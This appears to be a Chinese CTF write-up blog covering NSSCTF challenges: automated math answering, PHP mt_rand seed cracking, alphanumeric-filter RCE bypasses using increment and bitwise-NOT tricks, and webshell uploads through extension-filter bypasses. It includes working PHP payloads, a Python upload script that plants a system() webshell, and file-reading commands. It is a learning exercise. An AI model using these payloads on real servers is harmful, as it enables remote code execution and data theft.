https://www.cnblogs.com/zaqzzz/p/9997855.html
PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户
[HUBUCTF 2022 新生赛]Calculate
打开环境,大致意思是需要我们回答20道题目,每次答题的时间不能大于3秒,不能小于1秒
查看一下代码
我们可以发现把计算式的每个数字或者运算符都分了一个块,抓包看看发现,我们输入的答案是POST请求
记住,我们的代码是要加上cookie的,要不然服务器无法判定我们的身份,给我们记录答对题目的数量。就像寄快递,不写发件人对方根本不知道是谁发过来的。(谁敢要这个快递呢)
接下来我们就要编写一个自动解决基于网页的数学挑战的python脚本,我还是一个小白,写不出来啦,我们着了很多师傅的WP,找到了一个比较简单,容易理解的脚本
脚本思路
这段代码的主要思路是:
- 导入所需的库:
requests
用于发送 HTTP 请求,time
用于引入延迟。- 定义要访问的 URL,即提供数学挑战的网站地址。
- 创建一个会话对象,使用
requests.session()
方法。这个对象会保持会话状态,允许在多个请求之间共享 cookie。- 通过循环从1到98,执行以下步骤:
- 发送 GET 请求到指定的 URL,获取数学挑战的内容。
- 解析响应内容,提取数学表达式。
- 使用
eval()
方法计算数学表达式的结果。- 构建包含计算结果的 POST 数据。
- 发送 POST 请求提交答案。
- 打印当前响应内容。
- 如果响应内容包含 "NSSCTF{",则说明找到了 flag,打印出来,并退出程序。
- 在循环结束后,程序结束执行。
代码及其注释
import requests # 导入requests库,用于发送HTTP请求
import time # 导入time模块,用于引入延迟
url = 'http://node5.anna.nssctf.cn:26960/' # 设置数学挑战服务的URL
res = requests.session() # 创建会话对象,用于保持会话状态
for i in range(1, 99): # 循环挑战次数,从1到98
math = "" # 初始化数学表达式字符串
response = res.get(url) # 发送GET请求获取数学挑战
time.sleep(1) # 引入1秒的延迟
resTest = response.text # 获取响应文本内容
for j in range(0, len(resTest)): # 遍历响应文本内容
if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j] != "\n":
math = math + resTest[j] # 提取数学表达式
math = math.strip('=') # 去除首尾的等号
num = eval(math) # 计算数学表达式的值
myData = {'ans': num} # 构建POST数据,包含计算结果
response = res.post(url, data=myData) # 发送POST请求提交答案
print(response.text) # 打印当前响应内容
time.sleep(1) # 引入1秒的延迟
if "NSSCTF{" in response.text: # 检查响应内容是否包含flag
print("Flaggggggggg: ", response.text) # 打印flag
exit() # 退出当前程序
运行之后得到flag
[GWCTF 2019]枯燥的抽奖
打开环境,再查看一下源代码,发现了check.php
访问一下
crtQUgMWM1
<?php
# 这不是抽奖程序的源代码!不许看! # 开头的注释,警告不要查看源代码
header("Content-Type: text/html;charset=utf-8"); # 设置响应内容类型为 UTF-8 编码的 HTML
session_start(); # 启动会话
if(!isset($_SESSION['seed'])){ # 检查会话中是否存在名为 'seed' 的变量
$_SESSION['seed']=rand(0,999999999); # 如果不存在,生成一个随机数作为种子并存储在会话中
}
mt_srand($_SESSION['seed']); # 使用 'seed' 设置随机数生成器的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; # 定义包含大小写字母和数字的字符串
$str=''; # 初始化一个空字符串
$len1=20; # 定义随机字符串的长度为 20
for ( $i = 0; $i < $len1; $i++ ){ # 循环生成随机字符串
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); # 在 $str_long1 中随机选择一个字符添加到 $str 中
}
$str_show = substr($str, 0, 10); # 从生成的随机字符串中取出前 10 个字符作为显示的字符串
echo "<p id='p1'>".$str_show."</p>"; # 输出到 HTML 中
if(isset($_POST['num'])){ # 检查是否接收到名为 'num' 的 POST 变量
if($_POST['num']===$str){ # 比较接收到的变量与生成的随机字符串是否相等
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; # 如果相等,输出抽奖成功的信息,并附带一个模拟的 flag
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>"; # 如果不相等,输出未中奖的信息
}
}
show_source("check.php"); # 显示当前 PHP 文件的源代码
代码审计,大致意思就是,就是mt_srand(seed)分发种子,相当于进行产生随机数的初始化,然后通过mt_rand函数获得种子,但是这个随机数并不是真正的随机,他是有可预测性的,如果我们能获得种子,就一定程度上可以获得产生的随机数,根据这个随机数进行验证的部分就不安全了,但是这个题里并没看到mt_srand()函数, 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的 。 而且只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数 ,这样我们破解才有意义。
这儿我们需要使用php_mt_seed工具,它的破解方法是穷举所有的种子并根据种子生成随机数序列再跟已知的随机数序列做比对来验证种子是否正确,它还可以据单次mt_rand()的输出结果直接爆破出可能的种子,当然也可以爆破类似mt_rand(1,100)这样限定了MIN MAX输出的种子。
因此,当我们知道种子后,就可以确定输出伪随机数的序列。 知道了随机数序列,可以确定种子。
找到关键代码
我们要处理的应该是这一段mt_rand(0, strlen($str_long1) - 1),相当于mt_rand(0,61), 这个所谓的产生的随机的字符串,就是通过这个0-61的随机数选20次选出来的
使用代码跑出我们的序列
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'crtQUgMWM1'
str3 = str1[::-1] # 将字符串 str1 反转
length = len(str2) # 获取字符串 str2 的长度
res = '' # 初始化结果字符串
# 遍历字符串 str2 中的每个字符
for i in range(len(str2)):
# 遍历字符串 str1 中的每个字符
for j in range(len(str1)):
if str2[i] == str1[j]: # 如果 str2 中的字符等于 str1 中的字符
# 拼接结果字符串,格式为:字符索引 字符索引 0 str1的长度-1(即最后一个字符的索引)
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res) # 打印结果字符串
得到序列
2 2 0 61 17 17 0 61 19 19 0 61 52 52 0 61 56 56 0 61 6 6 0 61 48 48 0 61 58 58 0 61 48 48 0 61 27 27 0 61
得到序列后,我们就可以使用 php_mt_seed工具来得到种子
首先,先进入php_mt_seed工具目录,然后使用make命令查看它是否最新
然后
./php_mt_seed 2 2 0 61 17 17 0 61 19 19 0 61 52 52 0 61 56 56 0 61 6 6 0 61 48 48 0 61 58 58 0 61 48 48 0 61 27 27 0 61
得到985051473
这儿我们爆破出的序列是4个一组的,每组的第一第二个是每次产生的随机数,第三个数和第四个数分别是最小值和最大值,这种的好像是php_mt_seed需要的参数模式。
然后我们再根据种子跑出随机数
<?php
// 使用 mt_srand() 函数设置随机数种子,确保每次生成的随机数序列是一致的
mt_srand(985051473);
// 定义一个包含所有可能字符的字符串
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
// 初始化一个空字符串,用于存储生成的随机字符串
$str = '';
// 定义要生成的随机字符串的长度
$len1 = 20;
// 循环生成随机字符串
for ($i = 0; $i < $len1; $i++) {
// 使用 substr() 函数从 $str_long1 中随机选择一个字符,并将其添加到 $str 中
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
// 将生成的随机字符串输出到 HTML 页面的段落元素中
echo "<p id='p1'>" . $str . "</p>";
// 输出 PHP 的详细信息,包括配置和已加载的模块
echo phpinfo();
?>
得到crtQUgMWM1Amb3wZQ1n2
输入得到flag
[HNCTF 2022 Week1]Challenge__rce
打开界面,什么都没有,看一下源代码,直接访问hint
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
RCE,进行代码审计,检查 $rce 的长度是否不超过 120 个字符。
检查 $rce 是否是一个字符串类型
使用正则表达式检查 $rce 中是否包含某些特殊字符。
如果 $rce 满足上述条件,则使用 eval 函数执行 $rce 中的代码。
考无参数RCE,并且过滤了^和~,不能使用取反与异或,那就只能使用自增了
使用祖传playload看一看
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
它显示太长了,那就换种形式,我们构造参数,再上传参数,以达到减少长度的目的
$_=[]._; # 将一个空数组的引用赋给 $_,然后连接其字符串表示形式,并将结果赋给 $_。
$__=$_[1]; # 将 @_ 的第二个元素(也就是 $_)赋给 $__。
$_=$_[0]; # 将 @_ 的第一个元素赋给 $_。
$_++; # 将 $_ 的值增加 1。
$_1=++$_; # 再次将 $_ 的值增加 1,并赋值给 $_1。
$_++; $_++; $_++; $_++; # 将 $_ 增加 4 次。
$_=$_1.++$_.$__; # 将 $_1、$_ 增加 1 后的值、$__ 连接起来,并赋值给 $_。
$_=_.$_(71).$_(69).$_(84); # 将字符串 'GET' 与 ASCII 编码为 'H'、'E'、'T' 的字符连接起来,并赋值给 $_。
$$_[1]($$_[2]); # 使用 @_ 数组的第二个元素所引用的子程序,并将第一个元素作为参数传递给它。
构造playload:
rce=$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
我们使用POST传参传入了1和2两个变量
然后再使用GET传参,1=system&2=ls
接着查看根目录 2=ls /
找到flag,直接cat 2=cat /ffflllaaaggg
[FSCTF 2023]是兄弟,就来传你の🐎!
打开后是文件上传的界面,直接上传一句话木马并抓包看一看
修改了MIME,添加了文件头,再双写php进行绕过,它提示文件内容里不能又php,那我们就把php改为=(就是改成php短标签)
得,它又提示内容太长了。。。。文件头使用BM就行,直接在里面命令执行吧,并且短标签不闭合也能执行,所以文件内容
BM<?=`cat /f*`;
然后访问我们得/upload/eeae9d483b3acbdae7d9b5274623d317/shell.phphpp
。。。。看了大佬们得WP,它们文件后缀改得pht
再访问一下/upload/e06d08860a3c8499a65dacefc3d9e5e2/shell.pht
我也不知道是为什么???
[NSSCTF 2nd]php签到
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}
首先,代码定义了一个名为 waf 的函数,用于执行一个简单的文件扩展名检查来防止上传恶意文件。
$black_list 是一个存储不允许的文件扩展名的数组,如 “ph”、“htaccess” 和 “ini”。
pathinfo($filename, PATHINFO_EXTENSION) 用于获取上传文件的扩展名。
在 foreach 循环中,代码检查上传文件的扩展名是否在黑名单中。如果扩展名在黑名单中,函数返回 false,否则返回 true。如果用户通过 POST 请求上传了文件(if(isset($_FILES['file'])) 部分):
urldecode($_FILES['file']['name']) 用于获取上传文件的名称,并对其进行 URL 解码。
file_get_contents($_FILES['file']['tmp_name']) 用于获取上传文件的临时路径并读取其内容。
waf($filename) 调用了上述定义的 waf 函数,检查上传文件的扩展名是否在黑名单中。
如果通过检查(返回 true),则使用 file_put_contents($filename, $content) 将上传文件的内容写入服务器上的一个新文件。
如果未通过检查(返回 false),则显示 “Please re-upload”,即要求用户重新上传文件。如果没有上传文件的 POST 请求(else 部分):
highlight_file(__FILE__) 用于将当前代码文件的内容高亮显示在浏览器中,使用户能够查看代码。
上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测
上传一个1.php/.,在file_put_contents函数,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马。
但是因为没有上传点,我们可以使用脚本上传
import requests
# 设置目标 URL
url = "http://node5.anna.nssctf.cn:27625/"
# 准备要上传的文件名和文件内容
filename = "1.php%2f." # 文件名,/经过 URL 编码
content = "<?php system($_GET[1]);?>" # 文件内容,一个简单的 PHP 代码,用于执行系统命令
# 构造文件参数,使用元组 (文件名, 文件内容) 形式,并放入字典中
file = {"file": (filename, content)}
# 发送 POST 请求,上传文件
re = requests.post(url=url, files=file)
# 打印响应内容
print(re.text)
上传之后,我们访问1.php,然后再使用GET传参?1=export,查看环境变量,再环境变量中找到了flag
[CISCN 2023 初赛]Sign_in_passwd
打开后得到文本,就是换表得base64编码,第一行就是密文,第二行是表,但第二行表套了一层url编码,解码后直接base64解码即可
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
[鹏城杯 2022]简单的php
打开环境
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
代码审计
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|
|\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$code)){ die(' Hello'); }`:这个条件语句用于检查传入的代码。如果传入的代码长度大于80个字符,或者包含特定的字符(如字母、数字、空格、引号等),则会输出 "Hello" 并终止程序。
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }
:这个条件语句检查传入的代码是否包含分号 ";",如果是,则尝试执行传入的代码。
无参数RCE,并且过滤了数字字母,这儿我们可以使用取反进行绕过,思路就是通过没有参数的函数达到命令执行的目的
<?php
echo urlencode(~"phpinfo"); #~是取反符号
?>
得到~%8f%97%8f%96%91%99%90
这儿我们需要通过[] 来执行
[~%8f%97%8f%96%91%99%90] 这里意思就是 [phpinfo]
[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西
[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo
[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo
然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();
执行成功,说明这个方法可以使用,接下来我们就要通过没有参数的函数达到命令执行的目的,看了师傅们得WP,总结了一下无参数RCE需要用到得命令
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
这题可以使用getallheaders函数(返回当前请求的所有请求头信息)来构造,再使用current函数来返回当前元素的值
system(current(getallheaders()));
进行取反
[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
传入后再随便传入一个参数进行命令执行即可